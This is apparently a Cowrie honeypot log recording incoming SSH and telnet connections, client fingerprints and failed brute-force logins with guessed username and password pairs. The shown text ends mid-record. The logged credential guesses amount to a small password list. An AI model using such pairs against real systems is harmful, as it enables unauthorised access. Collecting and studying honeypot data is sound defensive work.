{"eventid":"cowrie.login.failed","username":"abourehab","password":"123456","message":"login attempt [abourehab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:43.065497Z","src_ip":"159.203.92.129","session":"dec06425068c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:44.075050Z","src_ip":"159.203.92.129","session":"dec06425068c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":53810,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c59cf45b6d","protocol":"ssh","message":"New connection: 43.160.206.186:53810 (159.203.135.109:22) [session: f5c59cf45b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:03.002197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:03.008776Z","src_ip":"43.160.206.186","session":"f5c59cf45b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:03.255943Z","src_ip":"43.160.206.186","session":"f5c59cf45b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@55word","message":"login attempt [admin/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:04.275341Z","src_ip":"43.160.206.186","session":"f5c59cf45b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":50594,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff39c525864f","protocol":"telnet","message":"New connection: 176.65.139.45:50594 (159.203.135.109:23) [session: ff39c525864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:05.357134Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:05.524860Z","src_ip":"43.160.206.186","session":"f5c59cf45b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.29.4.103","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7078f472468","protocol":"ssh","message":"New connection: 121.29.4.103:46360 (10.17.0.5:22) [session: e7078f472468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:07.905410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:07.910983Z","src_ip":"121.29.4.103","session":"e7078f472468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:08.165127Z","src_ip":"121.29.4.103","session":"e7078f472468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"zxcvbnm","message":"login attempt [debian/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:09.339535Z","src_ip":"121.29.4.103","session":"e7078f472468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:10.594331Z","src_ip":"121.29.4.103","session":"e7078f472468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37012,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bf64845b950","protocol":"ssh","message":"New connection: 159.203.92.129:37012 (159.203.135.109:22) [session: 4bf64845b950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:31.254973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:31.260729Z","src_ip":"159.203.92.129","session":"4bf64845b950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:31.276545Z","src_ip":"159.203.92.129","session":"4bf64845b950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abourehab","password":"abourehab","message":"login attempt [abourehab/abourehab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:31.323425Z","src_ip":"159.203.92.129","session":"4bf64845b950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:32.330832Z","src_ip":"159.203.92.129","session":"4bf64845b950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":50482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c6c48082f6e","protocol":"ssh","message":"New connection: 34.39.58.191:50482 (159.203.135.109:22) [session: 8c6c48082f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:33.750176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:33.755125Z","src_ip":"34.39.58.191","session":"8c6c48082f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:33.834922Z","src_ip":"34.39.58.191","session":"8c6c48082f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud@2025","message":"login attempt [root/cloud@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:34.166678Z","src_ip":"34.39.58.191","session":"8c6c48082f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:35.245047Z","src_ip":"34.39.58.191","session":"8c6c48082f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.93428111076355,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:20:35.291266Z","src_ip":"176.65.139.45","session":"ff39c525864f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50370,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e7b1ba4ebee","protocol":"ssh","message":"New connection: 43.160.206.186:50370 (159.203.135.109:22) [session: 8e7b1ba4ebee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:01.209791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:01.215147Z","src_ip":"43.160.206.186","session":"8e7b1ba4ebee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:01.455225Z","src_ip":"43.160.206.186","session":"8e7b1ba4ebee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"password","message":"login attempt [test3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:02.437271Z","src_ip":"43.160.206.186","session":"8e7b1ba4ebee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:03.678696Z","src_ip":"43.160.206.186","session":"8e7b1ba4ebee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43732,"dst_ip":"159.203.135.109","dst_port":22,"session":"6294d77df9a5","protocol":"ssh","message":"New connection: 159.203.92.129:43732 (159.203.135.109:22) [session: 6294d77df9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.789598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.818908Z","src_ip":"159.203.92.129","session":"6294d77df9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.824244Z","src_ip":"159.203.92.129","session":"6294d77df9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50966,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dabbed9212d","protocol":"ssh","message":"New connection: 2.57.122.238:50966 (159.203.135.109:22) [session: 9dabbed9212d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.876392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.881691Z","src_ip":"2.57.122.238","session":"9dabbed9212d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abourehab","password":"abourehab123","message":"login attempt [abourehab/abourehab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.957639Z","src_ip":"159.203.92.129","session":"6294d77df9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:15.982971Z","src_ip":"2.57.122.238","session":"9dabbed9212d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:16.287294Z","src_ip":"2.57.122.238","session":"9dabbed9212d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:16.964906Z","src_ip":"159.203.92.129","session":"6294d77df9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:17.398924Z","src_ip":"2.57.122.238","session":"9dabbed9212d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.123.67","src_port":38090,"dst_ip":"10.17.0.5","dst_port":22,"session":"e979b2e5d02e","protocol":"ssh","message":"New connection: 14.103.123.67:38090 (10.17.0.5:22) [session: e979b2e5d02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:27.119555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:27.124338Z","src_ip":"14.103.123.67","session":"e979b2e5d02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":33608,"dst_ip":"159.203.135.109","dst_port":22,"session":"46bc1bc0aca2","protocol":"ssh","message":"New connection: 34.39.58.191:33608 (159.203.135.109:22) [session: 46bc1bc0aca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:27.340458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:27.344929Z","src_ip":"34.39.58.191","session":"46bc1bc0aca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ec